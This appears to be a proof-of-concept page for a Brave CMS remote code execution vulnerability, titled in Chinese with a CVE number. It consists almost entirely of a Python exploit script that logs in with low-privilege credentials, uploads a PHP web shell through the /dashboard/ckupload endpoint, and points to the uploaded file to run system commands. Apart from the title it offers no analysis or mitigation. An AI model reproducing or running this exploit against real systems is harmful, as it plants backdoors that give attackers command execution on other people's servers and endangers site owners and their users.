CVE-2026-35164 Brave CMS远程代码执行漏洞

import requests # Target configuration target_url = "http://target.com/dashboard/ckupload" # Vulnerable endpoint shell_name = "exploit.php" # Attacker's credentials (required as PR:L) username = "attacker" password = "password" login_url = "http://target.com/login" # PHP payload to execute system commands php_payload = "<?php system($_GET['cmd']); ?>" def exploit(): session = requests.Session() # Step 1: Authenticate to the application print(f"[*] Logging in as {username}...") login_data = { "username": username, "password": password } # Adjust login POST data based on actual form fields session.post(login_url, data=login_data) # Step 2: Upload the malicious file print(f"[*] Uploading {shell_name}...") files = { 'upload': (shell_name, php_payload, 'application/octet-stream') } # The parameter name 'upload' might vary, check the form data response = session.post(target_url, files=files) if response.status_code == 200: print("[+] Upload successful!") print(f"[+] Access your shell at: http://target.com/uploads/{shell_name}?cmd=whoami") else: print("[-] Upload failed.") print(response.text) if __name__ == "__main__": exploit()